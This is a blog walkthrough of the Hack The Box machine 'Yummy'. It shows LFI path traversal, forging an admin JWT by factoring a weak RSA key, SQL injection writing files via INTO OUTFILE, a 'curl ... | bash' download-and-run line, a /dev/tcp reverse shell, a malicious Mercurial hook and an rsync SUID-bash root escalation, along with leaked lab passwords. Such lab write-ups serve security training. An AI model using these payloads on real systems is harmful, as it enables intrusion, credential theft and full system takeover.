Hackthebox: Yummy

Foued SAIDI Lv4

Overview

Yummy is a hard-difficulty machine from Hack The Box dealing initially with an LFI exploit that’ll allow us to read cron jobs to be able to craft a custom admin JWT token and exploit an SQLI on the admin dashboard. Later we’ll do some creds exfiltration to move laterally and leverage the hg Mercurial version control to move laterally once again to finally abuse rsync to land a root shell.

Yummy-info-card
Yummy-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\Users\0xkujen> nmap -A -Pn 10.129.192.97
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 15:45 W. Central Africa Standard Time
Nmap scan report for yummy.htb (10.129.192.97)
Host is up (0.39s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open http Caddy httpd
|_http-server-header: Caddy
|_http-title: Yummy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.01 seconds

We can see that we have our usual ssh port and a web app deployed on port 80.

Web Application - http://yummy.htb

Web App
Web App

We can see that we have a simple web app interface, let’s go ahead and register an account to login with:

Web App
Web App

We can see that we can also book a table, so let’s do that:

Web App
Web App

Checking our reservation on the dashboard, we can see that we can save the iCalendar for it:

Web App
Web App

Checking the request now:

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /export/Yummy_reservation_20250221_150501.ics HTTP/1.1
Host: yummy.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.7
Referer: http://yummy.htb/dashboard
Accept-Encoding: gzip, deflate, br
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imt1amVuQGt1amVuLmh0YiIsInJvbGUiOiJjdXN0b21lcl9kY2JiZTYxMSIsImlhdCI6MTc0MDE1MDIxNiwiZXhwIjoxNzQwMTUzODE2LCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjEzMjQxODIxODE3NjYxNzA3MzQxMjkyNTg3MzgyMjMwMzgwMTkxNDQ2OTI0MjIwNzkyMzM4NDAzMzk4NDk4NTAzNTE0MjA4OTExMjM4NDU3OTE3NjUzMTIxNzY4MzgyNzQxNDI3NzQ5MTE2MjQyOTgwMDAwMDE5OTAyMzYwMjY4MzI2MzA4Njc0NTExMjMwMzk1OTc2MjIyODExODI1Nzc0NTYzNzQ4ODYzMDk4NzE5MTc3NzE5NDg5NzMyMDc4NzkzODgyODI4ODYwMDA0MjUxNzc4ODg3NjYyMzYxMzY0MjEyOTczNjkyNzU5MDUxNTczMzU4ODk3NDgwOTIyMzUwODc0MTcxNzQ1MzA5MDUxNDQ5MTA1ODgxMTc4NDEyNzkyMjQ2NzgyMzM5NjE3NTk3Mjg0MTA5MDA2OSIsImUiOjY1NTM3fX0.CQTHFLA2xheSgqnhTyzs8yFsBeOO97_ecILAJ2DR4_Bsd4J9HCIk9ziRrNBF6zu-6owoAb7TpUQR1P3AJTT5-aCRhpXA5qgFpcfuf7BMnAbiNAqICxTHmohM-UIAcIDWUAuEMvOQTUQZaZX9XFcDznCPiYY6vm_0IjcFrdfjOUigBHI; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.Z7iWHQ.wbkM3uOrmgsNlMbYdJItwcSuFzc
Connection: keep-alive


We can see that the filename is being passwed in the URL, maybe LFI?

Local File Inclusion

Let’s try to inject an LFI payload to try and read files:

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /export/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: yummy.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.7
Referer: http://yummy.htb/dashboard
Accept-Encoding: gzip, deflate, br
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imt1amVuQGt1amVuLmh0YiIsInJvbGUiOiJjdXN0b21lcl9kY2JiZTYxMSIsImlhdCI6MTc0MDE1MDIxNiwiZXhwIjoxNzQwMTUzODE2LCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjEzMjQxODIxODE3NjYxNzA3MzQxMjkyNTg3MzgyMjMwMzgwMTkxNDQ2OTI0MjIwNzkyMzM4NDAzMzk4NDk4NTAzNTE0MjA4OTExMjM4NDU3OTE3NjUzMTIxNzY4MzgyNzQxNDI3NzQ5MTE2MjQyOTgwMDAwMDE5OTAyMzYwMjY4MzI2MzA4Njc0NTExMjMwMzk1OTc2MjIyODExODI1Nzc0NTYzNzQ4ODYzMDk4NzE5MTc3NzE5NDg5NzMyMDc4NzkzODgyODI4ODYwMDA0MjUxNzc4ODg3NjYyMzYxMzY0MjEyOTczNjkyNzU5MDUxNTczMzU4ODk3NDgwOTIyMzUwODc0MTcxNzQ1MzA5MDUxNDQ5MTA1ODgxMTc4NDEyNzkyMjQ2NzgyMzM5NjE3NTk3Mjg0MTA5MDA2OSIsImUiOjY1NTM3fX0.CQTHFLA2xheSgqnhTyzs8yFsBeOO97_ecILAJ2DR4_Bsd4J9HCIk9ziRrNBF6zu-6owoAb7TpUQR1P3AJTT5-aCRhpXA5qgFpcfuf7BMnAbiNAqICxTHmohM-UIAcIDWUAuEMvOQTUQZaZX9XFcDznCPiYY6vm_0IjcFrdfjOUigBHI; session=.eJyrVopPy0kszkgtVrKKrlZSKAFSSsWlycmpxcVKOkpBqcWpRWWJJZn5eQop-eV5OfmJKakpClAFaaU5OZVKsbU6dNcYWwsACKRDYQ.Z7iW6g.QFyE5Knze3e13TVJKDiRYU1dtms
Connection: keep-alive


And we got a hit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Disposition: attachment; filename=passwd
Content-Length: 2033
Content-Type: application/octet-stream
Date: Fri, 21 Feb 2025 15:08:41 GMT
Etag: "1727686952.3123646-2033-4086239241"
Last-Modified: Mon, 30 Sep 2024 09:02:32 GMT
Server: Caddy

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false

After some trying, I decided to check cronjobs under /etc/crontab:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

We can see that there’s and interesting /data/scripts/app_backup.sh , let’s check it out:

1
2
3
4
5
6
7

#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app

Let’s then download backupapp and see what it has for us:

Source Code
Source Code

One interesting thing is a signature.py script that’s being used:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy


# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()

Also, when trying to decrypt our current JWT token, we can find some interesting leak:

Source Code
Source Code

So I created this script that’ll help me to craft an administrator auth token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import base64
import json
import jwt
from Cryptodome.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

token = "<auth-token>>"

js = json.loads(base64.b64decode(token.split(".")[1]+"===").decode())
n = int(js["jwk"]['n'])
p, q = list((sympy.factorint(n)).keys())
e = 65537
phi_n = (p-1)*(q-1)
d = pow(e, -1, phi_n)

key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)

public_key = private_key.public_key()

# Decode the token
data = jwt.decode(token, public_key, algorithms=["RS256"])
data["role"] = "administrator"

# Encode the new token
new_token = jwt.encode(data, private_key, algorithm="RS256")
print(new_token)

And with the help of our new token we are admin:

Admin Dashboard
Admin Dashboard

Now taking another closer look at our source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def admindashboard():
validation = validate_login()
if validation != "administrator":
return redirect(url_for('login'))

try:
connection = pymysql.connect(**db_config)
with connection.cursor() as cursor:
sql = "SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()

search_query = request.args.get('s', '')

# added option to order the reservations
order_query = request.args.get('o', '')

sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
cursor.execute(sql, ('%' + search_query + '%',))
connection.commit()
appointments = cursor.fetchall()
connection.close()

return render_template('admindashboard.html', appointments=appointments)
except Exception as e:
flash(str(e), 'error')
return render_template('admindashboard.html', appointments=appointments)


We can see that the order_query has no kind of filtering, SQLI then?

SQL Injection on order_query -> RCE

There was one more interesting file that we could check using the LFI which is /data/scripts/dbmonitor.sh: this script checks if the dbstatus.json file exists and if it exists AND does not contain database is down, it executes ``/bin/bash “$latest_version” where: latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
So it will execute that code if write such a file there and write anything other than “database is down” to /data/scripts/dbstatus.json.

So I’ll just type the ping; command to our json file, and then execute a reverse shell command by triggering our fixer script to get a reverse shell:
http://yummy.htb/admindashboard?s=&o=ASC%3b++select+%22ping%3b%22+INTO+OUTFILE++%27/data/scripts/dbstatus.json%27+%3b
http://yummy.htb/admindashboard?s=&o=ASC%3b++select+%22curl+10.10.16.8/shell.sh+|bash%3b%22+INTO+OUTFILE++%27/data/scripts/fixer-v___%27+%3b

And we get a callback:

1
2
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.195.32 - - [21/Feb/2025 18:05:51] "GET /shell.sh HTTP/1.1" 200 -

And our shell:

1
2
3
4
5
6
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.8] from (UNKNOWN) [10.129.195.32] 59042
sh: 0: can't access tty; job control turned off
$ id
uid=110(mysql) gid=110(mysql) groups=110(mysql)

Pivoting to qa user

As we can can remember the backup script from earlier, let’s manipulate it and change it to run us a reverse shell script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mysql@yummy:/data/scripts$ wget 10.10.16.8/shell.sh
wget 10.10.16.8/shell.sh
--2025-02-21 17:27:24-- http://10.10.16.8/shell.sh
Connecting to 10.10.16.8:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 39 [application/x-sh]
Saving to: ΓÇÿshell.shΓÇÖ

shell.sh 100%[===================>] 39 --.-KB/s in 0.002s

2025-02-21 17:27:26 (22.0 KB/s) - ΓÇÿshell.shΓÇÖ saved [39/39]

mysql@yummy:/data/scripts$ mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
<ripts/app_backup.sh /data/scripts/app_backup.sh.old
mv: replace '/data/scripts/app_backup.sh.old', overriding mode 0644 (rw-r--r--)? y
y
mysql@yummy:/data/scripts$ mv shell.sh /data/scripts/app_backup.sh
mv shell.sh /data/scripts/app_backup.sh
mysql@yummy:/data/scripts$ cat app_backup.sh
cat app_backup.sh
sh -i >& /dev/tcp/10.10.16.8/9001 0>&1
mysql@yummy:/data/scripts$

And we are in:

1
2
3
4
5
connect to [10.10.16.8] from (UNKNOWN) [10.129.195.32] 42268
sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

Doing some guessy enumeration on the directory I’m in I find qa’s password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
www-data@yummy:~/app-qatesting/.hg/store/data$ strings app.py.i
strings app.py.i
`_ MO
\WQP]
Z:L*"
3F9]
(rN[9
_h=R
i+Bbq
Y*u-9
{<eO>
DL$Pb2a
>]*+E5
GM{b
^,&9
Qy_f
Ook2`
C*0T
O#qP8&8`tL
E=Y-;
`d30
7:C)c
,=11)CJ}
nVE}
Z`[(_
p~%+!
b6fX
`xlS
0G'W
ZD8H1
Ffa]
4bHQ
UO:H/
Vbm7piL
M~}{
d!Q0
w8 %
67*o
a*1^
DQkX
tvGq
|YC^,2
t[QRpn@/S
>ody
'app.secret_key = s.token_hex(32)
T sql = f"SELECT * FROM appointments WHERE_email LIKE %s"
#md5
9 'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!',
V([Q
>GQ$
6 'user': 'qa',
'password': 'jPAd!XQCtn8Oc@2B',
P8*p
kwJj
d[I})u
^+Wq@
$ JJKx8
D'<a
www-data@yummy:~/app-qatesting/.hg/store/data$

qa:jPAd!XQCtn8Oc@2B
We ssh to it and we get our user flag:

1
2
3
4
5
qa@yummy:~$ id
uid=1001(qa) gid=1001(qa) groups=1001(qa)
qa@yummy:~$ cat user.txt
1e45a3b6600f0a493c9c78643e2c01d5
qa@yummy:~$

Privilege Escalation

Seeing what we can run as sudo using qa:

1
2
3
4
5
6
7
8
qa@yummy:~$ sudo -l
[sudo] password for qa:
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
qa@yummy:~$

We can see that we can run /usr/bin/hg which is the executable for Mercurial, a distributed version control system.

So what I’ll do now with this is creating a local .hg directory in /tmp and ensure it is writable ->Copy and edit the Mercurial configuration file (.hg/hgrc) to include a malicious hook -> Prepare a reverse shell script (/tmp/revshell.sh) that initiates an outbound connection to my local machine -> Trigger the hook by running a Mercurial command (hg pull) as the dev user, which causes the reverse shell script to execute:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
qa@yummy:/tmp$ mkdir .hg
qa@yummy:/tmp$ chmod 777 .hg
qa@yummy:/tmp$ cp ~/.hgrc .hg/hgrc
qa@yummy:/tmp$ cat .hg/hgrc
# example user config (see 'hg help config' for more info)
[ui]
# name and email, e.g.
# username = Jane Doe <jdoe@example.com>
username = qa

# We recommend enabling tweakdefaults to get slight improvements to
# the UI over time. Make sure to set HGPLAIN in the environment when
# writing scripts!
# tweakdefaults = True

# uncomment to disable color in command output
# (see 'hg help color' for details)
# color = never

# uncomment to disable command output pagination
# (see 'hg help pager' for details)
# paginate = never

[extensions]
# uncomment the lines below to enable some popular extensions
# (see 'hg help extensions' for more info)
#
# histedit =
# rebase =
# uncommit =
[trusted]
users = qa, dev
groups = qa, dev
qa@yummy:/tmp$ nano .hg/hgrc
qa@yummy:/tmp$ nano revshell.sh
qa@yummy:/tmp$ chmod +x revshell.sh
qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
searching for changes
no changes found

I added

1
2
[hooks]
post-pull = /tmp/revshell.sh

to the config file
And we got a callback:

1
2
3
4
5
6
7
8
9
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.8] from (UNKNOWN) [10.129.195.32] 43992
I'm out of office until February 22th, don't call me
dev@yummy:/tmp$ id
id
uid=1000(dev) gid=1000(dev) groups=1000(dev)
dev@yummy:/tmp$

As dev, we can run this command as root:

1
2
3
4
5
6
7
8
dev@yummy:/tmp$ sudo -l
sudo -l
Matching Defaults entries for dev on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
dev@yummy:/tmp$

rsync is a powerful tool widely used for synchronizing files and directories either locally or between remote systems.

A direct privesc idea I got is to copy the bash binary to the app-production folder and run the rsync command on with the chown flag and then executes it with high privs:

1
2
3
4
5
6
7
8
9
10
11
12
dev@yummy:~$ cp /bin/bash app-production/bash
cp /bin/bash app-production/bash
dev@yummy:~$ chmod u+s app-production/bash
chmod u+s app-production/bash
dev@yummy:~$ sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
dev@yummy:~$ /opt/app/bash -p
/opt/app/bash -p
id
uid=1000(dev) gid=1000(dev) euid=0(root) groups=1000(dev)
cat /root/root.txt
8a7af24478c6109367cbc4402f446f48

And we got our root flag!!
That was it for Yummy, hope you learned something new!
-0xkujen

  • Title: Hackthebox: Yummy
  • Author: Foued SAIDI
  • Created at : 2025-02-21 11:13:21
  • Updated at : 2025-02-21 18:49:02
  • Link: https://kujen5.github.io/2025/02/21/Hackthebox-Yummy/
  • License: This work is licensed under CC BY-NC-SA 4.0.